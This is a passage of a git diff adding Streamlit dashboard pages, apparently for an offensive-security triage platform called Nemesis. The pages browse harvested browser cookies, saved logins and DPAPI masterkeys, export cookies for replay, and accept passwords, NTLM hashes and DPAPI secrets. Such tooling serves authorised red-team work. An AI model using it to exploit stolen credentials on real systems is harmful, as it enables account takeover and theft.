+ placeholder="Type to search...",
+ key="cookies_searchbox_usernames",
+ )
+ if not username_selection:
+ username_selection = "%"
+
+ # query_params["username_selection"] = [username_selection]
+
+ with col2:
+ browsers = utils.get_browsers_for_source_username("cookies", source_selection, username_selection)
+ browser_selection = st.selectbox("Select a browser:", browsers, key="cookies_select_browser")
+ # set our wildcard if we're searching for all browsers
+ if browser_selection == "all":
+ browser_selection = "%"
+
+ # query_params["browser_selection"] = [browser_selection]
+
+ col1, col2 = st.columns(2)
+
+ with col1:
+ site_regex = st.text_input("Enter a site name (% wildcard):", key="cookies_site_regex")
+ if not site_regex:
+ site_regex = "%"
+ # query_params["site_regex"] = [site_regex]
+
+ with col2:
+ cookie_name_regex = st.text_input("Enter a cookie name (% wildcard):", key="cookies_name_regex")
+ if not cookie_name_regex:
+ cookie_name_regex = "%"
+ # query_params["cookie_name_regex"] = [cookie_name_regex]
+
+ # actually grab our cookies
+ df_cookies = utils.get_cookie_df(source_selection, username_selection, browser_selection, site_regex, cookie_name_regex, show_encrypted, show_expired)
+ cookie_count = 0
+ if df_cookies is not None:
+ cookie_count = len(df_cookies)
+
+ col1, col2 = st.columns(2)
+
+ with col1:
+ col1.metric("Cookies found", cookie_count)
+
+ with col2:
+ # format our cookie dataframe for EditThisCookie download
+ if df_cookies is not None and cookie_count > 0:
+ df_cookies_download = df_cookies.copy()
+ df_cookies_download = df_cookies_download.rename(columns={"expires_utc": "expirationDate"})
+ df_cookies_download = df_cookies_download.drop("source", axis=1)
+ df_cookies_download = df_cookies_download.drop("username", axis=1)
+ df_cookies_download = df_cookies_download.drop("browser", axis=1)
+ df_cookies_download["hostOnly"] = False
+ df_cookies_download["httpOnly"] = False
+ df_cookies_download["secure"] = True
+ df_cookies_download["session"] = False
+ df_cookies_download["sameSite"] = "lax"
+ df_cookies_download["storeId"] = "0"
+ df_cookies_download["id"] = range(1, len(df_cookies_download) + 1)
+
+ st.write("")
+ btn = st.download_button(
+ label="Download EditThisCookie JSON",
+ data=df_cookies_download.to_json(orient="records", date_format="epoch"),
+ file_name="cookies.json",
+ )
+
+ if df_cookies is not None and cookie_count > 0:
+ gb = GridOptionsBuilder.from_dataframe(df_cookies)
+ gb.configure_default_column(groupable=True)
+ gb.configure_column("path", hide=True)
+ gb.configure_column("unique_db_id", hide=True)
+
+ # set the "notes" column to be editable
+ gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True)
+
+ gb.configure_column("username", width=140)
+ gb.configure_column("browser", width=100)
+ gb.configure_column("domain", wrapText=True, autoHeight=True)
+ gb.configure_column("name", width=180)
+ gb.configure_column("value", width=200)
+ gb.configure_column("expires_utc", width=150, wrapText=True, autoHeight=True)
+
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15)
+
+ # custom JavaScript code that manually sets an applied row as "selected"
+ # so that row is returned with grid["selected_rows"] on editing
+ # Yes, this is a hack, but it's because we can't otherwise easily return
+ # _just_ the row that's been edited instead of the entire stupid dataframe
+ js_cell_changed = JsCode(
+ """
+ function(e) {
+ let api = e.api;
+ let rowIndex = e.rowIndex;
+ let col = e.column.colId;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ };
+ """
+ )
+
+ # the triage column is the only editable column, so don't need to otherwise constrain here
+ gb.configure_grid_options(onCellValueChanged=js_cell_changed)
+
+ # build and display our grid
+ grid = AgGrid(
+ df_cookies,
+ gridOptions=gb.build(),
+ width="100%",
+ fit_columns_on_grid_load=False,
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED,
+ allow_unsafe_jscode=True,
+ )
+
+ for row in grid["selected_rows"]:
+ utils.update_notes_table(row["unique_db_id"], "chromium_cookies", current_user, row["notes"])
+
+ if chosen_tab == "logins":
+ col1, col2, col3, col4 = st.columns(4)
+ with col3:
+ show_encrypted = st_toggle_switch(
+ label="Show encrypted logins",
+ key="unencrypted_logins_switch",
+ default_value=False,
+ label_after=False,
+ )
+ with col4:
+ show_blank = st_toggle_switch(label="Show blank logins", key="blank_logins_switch", default_value=False, label_after=False)
+
+ sources = utils.get_unique_sources("chromium_logins")
+
+ if not sources or len(sources) == 0:
+ st.error("No Chromium logins data in the database")
+ else:
+ source_selection = st_searchbox(
+ search_sources,
+ label="Enter a source/computer name to search for:",
+ placeholder="Type to search...",
+ key="sources_searchbox_logins",
+ )
+
+ if not source_selection:
+ source_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ usernames = utils.get_usernames_for_source("logins", source_selection)
+
+ with col1:
+ username_selection = st_searchbox(
+ search_usernames,
+ label="Enter a username to search for:",
+ placeholder="Type to search...",
+ key="logins_searchbox_usernames",
+ )
+ if not username_selection:
+ username_selection = "%"
+
+ with col2:
+ browsers = utils.get_browsers_for_source_username("logins", source_selection, username_selection)
+ browser_selection = st.selectbox("Select a browser:", browsers, key="logins_select_browser")
+ # set our wildcard if we're searching for all browsers
+ if browser_selection == "all":
+ browser_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ with col1:
+ site_regex = st.text_input("Enter a site name (% wildcard):", key="logins_site_regex")
+ if not site_regex:
+ site_regex = "%"
+ with col2:
+ username_name_regex = st.text_input("Enter a login username (% wildcard):", key="logins_username_regex")
+ if not username_name_regex:
+ username_name_regex = "%"
+
+ # actually grab our logins
+ df_logins = utils.get_login_df(source_selection, username_selection, browser_selection, site_regex, username_name_regex, show_encrypted, show_blank)
+ login_count = 0
+ if df_logins is not None:
+ login_count = len(df_logins)
+
+ col1.metric("Logins found", login_count)
+
+ if df_logins is not None and login_count > 0:
+ gb = GridOptionsBuilder.from_dataframe(df_logins)
+ gb.configure_default_column(groupable=True)
+ gb.configure_column("path", hide=True)
+ gb.configure_column("unique_db_id", hide=True)
+
+ # set the "notes" column to be editable
+ gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True)
+
+ gb.configure_column("username", width=150)
+ gb.configure_column("browser", width=100)
+ gb.configure_column("url", wrapText=True, autoHeight=True)
+ gb.configure_column("password", wrapText=True, autoHeight=True)
+ gb.configure_column("last_used", width=130, wrapText=True, autoHeight=True)
+ gb.configure_column("used", width=120)
+
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15)
+
+ # custom JavaScript code that manually sets an applied row as "selected"
+ # so that row is returned with grid["selected_rows"] on editing
+ # Yes, this is a hack, but it's because we can't otherwise easily return
+ # _just_ the row that's been edited instead of the entire stupid dataframe
+ js_cell_changed = JsCode(
+ """
+ function(e) {
+ let api = e.api;
+ let rowIndex = e.rowIndex;
+ let col = e.column.colId;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ };
+ """
+ )
+
+ # the triage column is the only editable column, so don't need to otherwise constrain here
+ gb.configure_grid_options(onCellValueChanged=js_cell_changed)
+
+ # build and display our grid
+ grid = AgGrid(
+ df_logins,
+ columns_auto_size_mode=ColumnsAutoSizeMode.FIT_CONTENTS,
+ gridOptions=gb.build(),
+ width="100%",
+ fit_columns_on_grid_load=True,
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED,
+ allow_unsafe_jscode=True,
+ )
+
+ for row in grid["selected_rows"]:
+ utils.update_notes_table(row["unique_db_id"], "chromium_logins", current_user, row["notes"])
+
+ if chosen_tab == "history":
+ sources = utils.get_unique_sources("chromium_history")
+
+ if not sources or len(sources) == 0:
+ st.error("No Chromium history data in the database")
+ else:
+ source_selection = st_searchbox(
+ search_sources,
+ label="Enter a source/computer name to search for:",
+ placeholder="Type to search...",
+ key="sources_searchbox_history",
+ )
+
+ if not source_selection:
+ source_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ usernames = utils.get_usernames_for_source("history", source_selection)
+
+ with col1:
+ username_selection = st_searchbox(
+ search_usernames,
+ label="Enter a username to search for:",
+ placeholder="Type to search...",
+ key="history_searchbox_usernames",
+ )
+ if not username_selection:
+ username_selection = "%"
+
+ with col2:
+ browsers = utils.get_browsers_for_source_username("history", source_selection, username_selection)
+ browser_selection = st.selectbox("Select a browser:", browsers, key="history_select_browser")
+ # set our wildcard if we're searching for all browsers
+ if browser_selection == "all":
+ browser_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ with col1:
+ site_regex = st.text_input("Enter a site name (% wildcard):", key="history_site_regex")
+ if not site_regex:
+ site_regex = "%"
+ with col2:
+ title_regex = st.text_input("Enter a title (% wildcard):", key="history_title_regex")
+ if not title_regex:
+ title_regex = "%"
+
+ # actually grab our history entries
+ df_history = utils.get_history_df(source_selection, username_selection, browser_selection, site_regex, title_regex)
+ history_count = 0
+ if df_history is not None:
+ history_count = len(df_history)
+
+ col1.metric("History entries found", history_count)
+
+ if df_history is not None and history_count > 0:
+ gb = GridOptionsBuilder.from_dataframe(df_history)
+ gb.configure_default_column(groupable=True)
+ gb.configure_column("path", hide=True)
+ gb.configure_column("unique_db_id", hide=True)
+
+ # set the "notes" column to be editable
+ gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True)
+
+ gb.configure_column("username", width=150)
+ gb.configure_column("browser", width=100)
+ gb.configure_column("url", wrapText=True, autoHeight=True)
+ gb.configure_column("title", wrapText=True, autoHeight=True)
+ gb.configure_column("visits", width=100)
+ gb.configure_column("last_visit_time", width=140)
+
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15)
+
+ # custom JavaScript code that manually sets an applied row as "selected"
+ # so that row is returned with grid["selected_rows"] on editing
+ # Yes, this is a hack, but it's because we can't otherwise easily return
+ # _just_ the row that's been edited instead of the entire stupid dataframe
+ js_cell_changed = JsCode(
+ """
+ function(e) {
+ let api = e.api;
+ let rowIndex = e.rowIndex;
+ let col = e.column.colId;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ };
+ """
+ )
+
+ # the triage column is the only editable column, so don't need to otherwise constrain here
+ gb.configure_grid_options(onCellValueChanged=js_cell_changed)
+
+ # build and display our grid
+ grid = AgGrid(
+ df_history,
+ gridOptions=gb.build(),
+ width="100%",
+ fit_columns_on_grid_load=True,
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED,
+ allow_unsafe_jscode=True,
+ )
+
+ for row in grid["selected_rows"]:
+ utils.update_notes_table(row["unique_db_id"], "chromium_logins", current_user, row["notes"])
+
+ if chosen_tab == "downloads":
+ sources = utils.get_unique_sources("chromium_downloads")
+
+ if not sources or len(sources) == 0:
+ st.error("No Chromium downloads data in the database")
+ else:
+ source_selection = st_searchbox(
+ search_sources,
+ label="Enter a source/computer name to search for:",
+ placeholder="Type to search...",
+ key="sources_searchbox_downloads",
+ )
+
+ if not source_selection:
+ source_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ usernames = utils.get_usernames_for_source("downloads", source_selection)
+
+ with col1:
+ username_selection = st_searchbox(
+ search_usernames,
+ label="Enter a username to search for:",
+ placeholder="Type to search...",
+ key="downloads_searchbox_usernames",
+ )
+ if not username_selection:
+ username_selection = "%"
+
+ with col2:
+ browsers = utils.get_browsers_for_source_username("downloads", source_selection, username_selection)
+ browser_selection = st.selectbox("Select a browser:", browsers, key="downloads_select_browser")
+ # set our wildcard if we're searching for all browsers
+ if browser_selection == "all":
+ browser_selection = "%"
+
+ col1, col2 = st.columns(2)
+
+ with col1:
+ site_regex = st.text_input("Enter a site name (% wildcard):", key="downloads_site_regex")
+ if not site_regex:
+ site_regex = "%"
+ with col2:
+ path_regex = st.text_input("Enter a download file/path name:", key="downloads_path_regex")
+ if not path_regex:
+ path_regex = "%"
+
+ # actually grab our download entries
+ df_download = utils.get_download_df(source_selection, username_selection, browser_selection, site_regex, path_regex)
+ download_count = 0
+ if df_download is not None:
+ download_count = len(df_download)
+
+ col1.metric("Downloads found", download_count)
+
+ if df_download is not None and download_count > 0:
+ gb = GridOptionsBuilder.from_dataframe(df_download)
+ gb.configure_default_column(groupable=True)
+ gb.configure_column("path", hide=True)
+ gb.configure_column("danger_type", hide=True)
+ gb.configure_column("unique_db_id", hide=True)
+
+ # set the "notes" column to be editable
+ gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True)
+
+ gb.configure_column("username", width=150)
+ gb.configure_column("browser", width=80)
+ gb.configure_column("url", wrapText=True, autoHeight=True)
+ gb.configure_column("download_path", wrapText=True, autoHeight=True)
+ gb.configure_column("timestamp", width=110, wrapText=True, autoHeight=True)
+ gb.configure_column("danger_type", width=130, wrapText=True, autoHeight=True)
+
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15)
+
+ # custom JavaScript code that manually sets an applied row as "selected"
+ # so that row is returned with grid["selected_rows"] on editing
+ # Yes, this is a hack, but it's because we can't otherwise easily return
+ # _just_ the row that's been edited instead of the entire stupid dataframe
+ js_cell_changed = JsCode(
+ """
+ function(e) {
+ let api = e.api;
+ let rowIndex = e.rowIndex;
+ let col = e.column.colId;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ };
+ """
+ )
+
+ # the triage column is the only editable column, so don't need to otherwise constrain here
+ gb.configure_grid_options(onCellValueChanged=js_cell_changed)
+
+ # build and display our grid
+ grid = AgGrid(
+ df_download,
+ gridOptions=gb.build(),
+ width="100%",
+ fit_columns_on_grid_load=True,
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED,
+ allow_unsafe_jscode=True,
+ )
+
+ for row in grid["selected_rows"]:
+ utils.update_notes_table(row["unique_db_id"], "chromium_downloads", current_user, row["notes"])
diff --git a/cmd/dashboard/dashboard/pages/4_DPAPI.py b/cmd/dashboard/dashboard/pages/4_DPAPI.py
new file mode 100644
index 0000000..4878152
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/4_DPAPI.py
@@ -0,0 +1,224 @@
+# Standard Libraries
+import datetime
+import logging
+import os
+import re
+import time
+
+# 3rd Party Libraries
+import extra_streamlit_components as stx
+import streamlit as st
+import utils
+from st_aggrid import AgGrid, GridOptionsBuilder, GridUpdateMode
+from streamlit_cookies_manager import CookieManager
+
+PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or ""
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000"
+PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10"
+PAGE_SIZE = int(PAGE_SIZE)
+
+
+####################################################
+#
+# Main app functionality
+#
+####################################################
+
+current_user = utils.header()
+
+# Get the Elasticsearch client
+logging.getLogger("elasticsearch").setLevel(logging.ERROR)
+es_client = utils.wait_for_elasticsearch()
+
+# only execute the main functionality if the user is authenticated
+if st.session_state["authentication_status"]:
+ cookies = CookieManager()
+ if not cookies.ready():
+ st.stop()
+
+ with st.expander("About DPAPI"):
+ st.markdown(
+ """
+ This page shows the number of DPAPI user and system masterkeys and
+ target DPAPI data that is decrypted/still encrypted. Additionally,
+ plaintext masterkeys can be submitted. as well as DPAPI_SYSTEM keys
+ to decrpyt system materkeys and domain backup keys to decrypt user
+ domain masterkeys.
+ """
+ )
+
+ query_params = st.experimental_get_query_params()
+
+ # pull our specified tab from the query parameters, otherwise use "overview" as the default
+ if "tab" not in query_params or not query_params["tab"]:
+ query_params["tab"] = ["overview"]
+
+ chosen_tab = stx.tab_bar(
+ data=[
+ stx.TabBarItemData(id="overview", title="DPAPI Overview", description="Overview of DPAPI Data"),
+ stx.TabBarItemData(id="masterkeys", title="Masterkeys", description="DPAPI Masterkey Triage"),
+ ],
+ default=query_params["tab"][0],
+ )
+ query_params["tab"] = [chosen_tab]
+ st.experimental_set_query_params(**query_params)
+
+ if chosen_tab == "overview":
+ cols = st.columns(4)
+ with cols[0]:
+ total_dpapi_blobs = utils.postgres_count_dpapi_blobs()
+ dec_dpapi_blobs = utils.postgres_count_dpapi_blobs(show_all=False)
+ st.metric("DPAPI Blobs", f"{dec_dpapi_blobs} / {total_dpapi_blobs}")
+ with cols[1]:
+ total_statefiles = utils.postgres_count_state_files()
+ dec_statefiles = utils.postgres_count_state_files(show_all=False)
+ st.metric("Chromium State Files", f"{dec_statefiles} / {total_statefiles}")
+ with cols[2]:
+ total_dpapi_backupkeys = utils.postgres_count_entries("dpapi_domain_backupkeys")
+ st.metric("DPAPI Domain Backupkeys", total_dpapi_backupkeys)
+
+ st.divider()
+ cols = st.columns(4)
+ with cols[0]:
+ total_masterkeys = utils.postgres_count_masterkeys()
+ dec_masterkeys = utils.postgres_count_masterkeys(show_all=False)
+ st.metric("Total Masterkeys", f"{dec_masterkeys} / {total_masterkeys}")
+ with cols[1]:
+ domain_user_masterkeys = utils.postgres_count_masterkeys(key_type="domain_user")
+ dec_domain_user_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="domain_user")
+ st.metric("Domain User Masterkeys", f"{dec_domain_user_masterkeys} / {domain_user_masterkeys}")
+ with cols[2]:
+ local_user_masterkeys = utils.postgres_count_masterkeys(key_type="local_user")
+ dec_local_user_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="local_user")
+ st.metric("Local User Masterkeys", f"{dec_local_user_masterkeys} / {local_user_masterkeys}")
+ with cols[3]:
+ machine_masterkeys = utils.postgres_count_masterkeys(key_type="machine")
+ dec_machine_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="machine")
+ st.metric("Machine Masterkeys", f"{dec_machine_masterkeys} / {machine_masterkeys}")
+
+ if chosen_tab == "masterkeys":
+ # trigger getting the password data in case we have a cache hit
+ df = utils.get_masterkeys()
+
+ # force a cache reset if "df_loaded" is missing - this happens on a hard reload
+ if "df_loaded" not in st.session_state:
+ st.cache_data.clear()
+ print("[!] Resetting cache")
+ df = utils.get_masterkeys()
+
+ st.subheader("Submit Keys")
+ cols = st.columns(4)
+ with cols[0]:
+ default_project = cookies["nemesus_project"] if "nemesus_project" in cookies else ""
+ nemesus_project = st.text_input("The name of the current project", value=default_project, placeholder="Please enter a project name")
+ if nemesus_project:
+ cookies["nemesus_project"] = nemesus_project.upper()
+ with cols[1]:
+ default_operator = cookies["nemesis_operator"] if "nemesis_operator" in cookies else ""
+ nemesis_operator = st.text_input("The name of the current operator", value=default_operator, placeholder="Please enter an operator name")
+ if nemesis_operator:
+ cookies["nemesis_operator"] = nemesis_operator.upper()
+ with cols[2]:
+ default_source = cookies["nemesis_source"] if "nemesis_source" in cookies else ""
+ nemesis_source = st.text_input("The name of the source machine", value=default_source, placeholder="Please enter a source")
+ if nemesis_source:
+ cookies["nemesis_source"] = nemesis_source.upper()
+ with cols[3]:
+ default_expiration_days = cookies["nemesis_expiration_days"] if "nemesis_expiration_days" in cookies else "100"
+ nemesis_expiration_days = st.text_input("Days until the data should expire", value=default_expiration_days)
+ if nemesis_expiration_days:
+ if nemesis_expiration_days.isdigit():
+ cookies["nemesis_expiration_days"] = nemesis_expiration_days
+
+ else:
+ st.warning("Expiration days must be an integer!")
+
+ cookies.save()
+
+ if (
+ "nemesus_project" in cookies and cookies["nemesus_project"] != ""
+ and "nemesis_operator" in cookies and cookies["nemesis_operator"] != ""
+ and "nemesis_source" in cookies and cookies["nemesis_source"] != ""
+ and "nemesis_expiration_days" in cookies and cookies["nemesis_expiration_days"] != ""
+ ):
+
+ authentication_data = {}
+ submission_id = ""
+
+ with st.form("key_submission", clear_on_submit=True):
+ cols = st.columns(3)
+ with cols[0]:
+ plaintext_password = st.text_input("Password", placeholder=":")
+ if plaintext_password:
+ if ":" not in plaintext_password:
+ st.error("The required format is `:`")
+ else:
+ i = plaintext_password.find(":")
+ username = plaintext_password[:i]
+ password = plaintext_password[i + 1:]
+ cred_type = "password"
+
+ if re.match("[a-zA-Z0-9]{32}$", password):
+ cred_type = "ntlm_hash"
+
+ authentication_data = {
+ "type": cred_type,
+ "username": username,
+ "data": password
+ }
+ with cols[1]:
+ dpapi_system = st.text_input("DPAPI_SYSTEM", placeholder="DPAPI_SYSTEM LSA secret")
+ if dpapi_system:
+ if not re.match("^(([a-fA-F0-9]{40})|([a-fA-F0-9]{80}))$", dpapi_system):
+ st.error("Valid format for DPAPI_SYSTEM is 40 or 80 alphanumeric characters")
+ else:
+ authentication_data = {
+ "type": "dpapi_system",
+ "data": dpapi_system
+ }
+ with cols[2]:
+ dec_masterkey = st.text_input("Plaintext Masterkey", placeholder="GUID:SHA1")
+ if dec_masterkey:
+ if not re.match("^\{?([0-9a-fA-F]){8}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){12}\}?:([a-fA-F0-9]{40})$", dec_masterkey):
+ st.error("The required format is `GUID:SHA1`")
+ else:
+ authentication_data = {
+ "type": "dpapi_masterkey",
+ "data": dec_masterkey
+ }
+
+ submitted = st.form_submit_button(label="Submit")
+
+ if submitted and authentication_data and (plaintext_password or dec_masterkey or dpapi_system):
+ submission_time = datetime.datetime.utcnow()
+ expiration = submission_time + datetime.timedelta(days=int(cookies["nemesis_expiration_days"]))
+ submission_time_s = submission_time.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+ expiration_s = expiration.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+ metadata = {
+ "agent_id": cookies["nemesis_operator"],
+ "agent_type": "dashboard",
+ "automated": False,
+ "data_type": "authentication_data",
+ "expiration": expiration_s,
+ "source": cookies["nemesis_source"],
+ "project": cookies["nemesus_project"],
+ "timestamp": submission_time_s,
+ }
+ submission_id = utils.nemesis_post_data({"metadata": metadata, "data": [authentication_data]})
+ if submission_id:
+ st.success(f"Successful Nemesis submission: {submission_id}", icon="âś…")
+ time.sleep(5)
+ st.cache_data.clear()
+ st.experimental_rerun()
+
+ gb = GridOptionsBuilder.from_dataframe(df)
+
+ # build and display our grid
+ grid = AgGrid(
+ df,
+ gridOptions=gb.build(),
+ width="100%",
+ update_mode=GridUpdateMode.SELECTION_CHANGED,
+ fit_columns_on_grid_load=True,
+ )
\ No newline at end of file
diff --git a/cmd/dashboard/dashboard/pages/5_Credentials.py b/cmd/dashboard/dashboard/pages/5_Credentials.py
new file mode 100644
index 0000000..cbae496
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/5_Credentials.py
@@ -0,0 +1,201 @@
+# Standard Libraries
+import logging
+import os
+
+# 3rd Party Libraries
+import pandas as pd
+import psycopg
+import streamlit as st
+import templates
+import utils
+from st_aggrid import AgGrid, DataReturnMode, GridOptionsBuilder, GridUpdateMode, JsCode
+from streamlit_cookies_manager import CookieManager
+
+PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or ""
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000"
+PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10"
+PAGE_SIZE = int(PAGE_SIZE)
+
+
+####################################################
+#
+# Main app functionality
+#
+####################################################
+
+current_user = utils.header()
+
+# Get the Elasticsearch client
+logging.getLogger("elasticsearch").setLevel(logging.ERROR)
+es_client = utils.wait_for_elasticsearch()
+
+# only execute the main functionality if the user is authenticated
+if st.session_state["authentication_status"]:
+ cookies = CookieManager()
+ if not cookies.ready():
+ st.stop()
+
+ with st.expander("About Credentials"):
+ st.markdown(
+ """
+ This page shows plaintext password authentication data that has been
+ extracted from processed Nemesis data. The `triage` tags (Useful/Not Useful/Unknown)
+ can be set by clicking the `triage` column. These values are set back in the
+ database for tracking, and can also be used for filtering the table.
+
+ The table can also be exported as csv or Excel by right clicking and choosing the
+ appropriate option.
+ """
+ )
+
+ # these are our filter tags
+ triage_tags = ["Useful", "Not Useful", "Unknown", None]
+
+ with st.expander("Triage tags"):
+ options = st.multiselect("Triage Tags", triage_tags, triage_tags, on_change=st.cache_data.clear)
+
+ # trigger getting the password data in case we have a cache hit
+ df = utils.get_password_data()
+
+ # force a cache reset if "df_loaded" is missing - this happens on a hard reload
+ if "df_loaded" not in st.session_state:
+ st.cache_data.clear()
+ print("[!] Resetting cache")
+ df = utils.get_password_data()
+ # if we're hard reloading, make sure the "display_object_id" cookie is wiped out
+ cookies["display_object_id"] = None
+ cookies.save()
+
+ df_filtered = df[df["triage"].isin(options)]
+
+ if df_filtered is None:
+ st.error("No `authentication_data` retrieved!", icon="🚨")
+ elif df_filtered.empty:
+ st.error("No `authentication_data` exists!", icon="🚨")
+ elif df_filtered.empty:
+ st.error("No matching `authentication_data` for the given filters!")
+ else:
+ gb = GridOptionsBuilder.from_dataframe(df_filtered)
+ gb.configure_default_column(groupable=True)
+
+ # configure pagination with our PAGE_SIZE
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=PAGE_SIZE)
+
+ # hide some metadata columns from the user
+ gb.configure_column("unique_db_id", hide=True)
+ gb.configure_column("agent_id", hide=True)
+ gb.configure_column("timestamp", hide=True)
+
+ gb.configure_column("username", wrapText=True, autoHeight=True)
+ gb.configure_column("data", wrapText=True, autoHeight=True)
+ gb.configure_column("url", wrapText=True, autoHeight=True)
+
+ # set the "triage" column to be editable with our "triage_tags" values as a popup modal
+ gb.configure_column(
+ "triage",
+ editable=True,
+ groupable=True,
+ cellEditor="agRichSelectCellEditor",
+ cellEditorParams={"values": triage_tags},
+ cellEditorPopup=True,
+ singleClickEdit=True,
+ )
+
+ # set the "notes" column to be editable
+ gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True)
+
+ # custom JavaScript code that constructs a public Kibana link from a supplied
+ # object_id and lets you render the HTML link clickable
+ js_link_code = """
+ class UrlCellRenderer {
+ init(params) {
+ this.params = params;
+ this.eGui = document.createElement('button');
+ this.eGui.innerHTML = 'View Originating File';
+ this.btnClickedHandler = this.btnClickedHandler.bind(this);
+ this.eGui.addEventListener('click', this.btnClickedHandler);
+ }
+ getGui() {
+ return this.eGui;
+ }
+ btnClickedHandler(event) {
+ document.cookie = "display_object_id=" + this.params.value + "; path=/";
+ let api = this.params.api;
+ let rowIndex = this.params.rowIndex;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ }
+ destroy() {
+ this.eGui.removeEventListener('click', this.btnClickedHandler);
+ }
+ }
+ """
+
+ # set the object_id column to use the custom Kibana link JavaScript code
+ gb.configure_column("object_id", headerName="Originating Object", cellRenderer=JsCode(js_link_code))
+
+ # custom JavaScript code that manually sets an applied row as "selected"
+ # so that row is returned with grid["selected_rows"] on editing
+ # Yes, this is a hack, but it's because we can't otherwise easily return
+ # _just_ the row that's been edited instead of the entire stupid dataframe
+ js_cell_changed = JsCode(
+ """
+ function(e) {
+ let api = e.api;
+ let rowIndex = e.rowIndex;
+ let col = e.column.colId;
+ let rowNode = api.getDisplayedRowAtIndex(rowIndex);
+ rowNode.setSelected(true);
+ };
+ """
+ )
+
+ # the triage column is the only editable column, so don't need to otherwise constrain here
+ gb.configure_grid_options(onCellValueChanged=js_cell_changed)
+
+ # build and display our grid
+ grid = AgGrid(
+ df_filtered,
+ gridOptions=gb.build(),
+ width="100%",
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED,
+ fit_columns_on_grid_load=True,
+ allow_unsafe_jscode=True,
+ allow_unsafe_html=True,
+ )
+
+ # if a "display_object_id" cookie was set, display that file below the table
+ if "display_object_id" in cookies and cookies["display_object_id"]:
+ object_id = cookies["display_object_id"]
+ query = {"bool": {"must": {"match": {"objectId": object_id}}}}
+ fields = [
+ "objectId",
+ "name",
+ "magicType",
+ "path",
+ "nemesisFileType",
+ "parsedData",
+ "hashes.sha1",
+ "metadata.source",
+ "convertedPdfURL",
+ ]
+ logging.getLogger("elasticsearch").setLevel(logging.ERROR)
+ results = es_client.search(index="file_data_enriched", query=query, source_includes=fields)
+
+ if len(results["hits"]["hits"]) == 1:
+ base_result = results["hits"]["hits"][0]["_source"]
+ nemesis_file_type = base_result["nemesisFileType"]
+
+ match nemesis_file_type:
+ case "office_doc_new":
+ templates.office_document(base_result)
+ case "office_doc_ole":
+ templates.office_document(base_result)
+ case _:
+ templates.default_file(base_result)
+ else:
+ for row in grid["selected_rows"]:
+ utils.update_triage_table(row["unique_db_id"], "authentication_data", current_user, row["triage"], row["object_id"])
+ utils.update_notes_table(row["unique_db_id"], "authentication_data", current_user, row["notes"])
diff --git a/cmd/dashboard/dashboard/pages/6_NoseyParker.py b/cmd/dashboard/dashboard/pages/6_NoseyParker.py
new file mode 100644
index 0000000..4bae721
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/6_NoseyParker.py
@@ -0,0 +1,82 @@
+# Standard Libraries
+import os
+import urllib
+
+# 3rd Party Libraries
+import streamlit as st
+import templates
+import utils
+from annotated_text import annotated_text, annotation
+
+utils.header()
+
+page_size = int(os.environ["PAGE_SIZE"])
+nemesis_http_server = os.environ.get("NEMESIS_HTTP_SERVER") or ""
+
+
+if st.session_state["authentication_status"]:
+ with st.expander("About NoseyParker Search"):
+ st.markdown(
+ """
+ This page lists all files that have NoseyParker results.
+
+ Results are grouped by each file with matching results.
+ """
+ )
+
+ # default values
+ if "np_page" not in st.session_state:
+ st.session_state.np_page = 1
+
+ # get parameters in url
+ para = st.experimental_get_query_params()
+ if "np_page" in para:
+ st.experimental_set_query_params()
+ st.session_state.np_page = int(para["np_page"][0])
+
+ from_i = (st.session_state.np_page - 1) * page_size
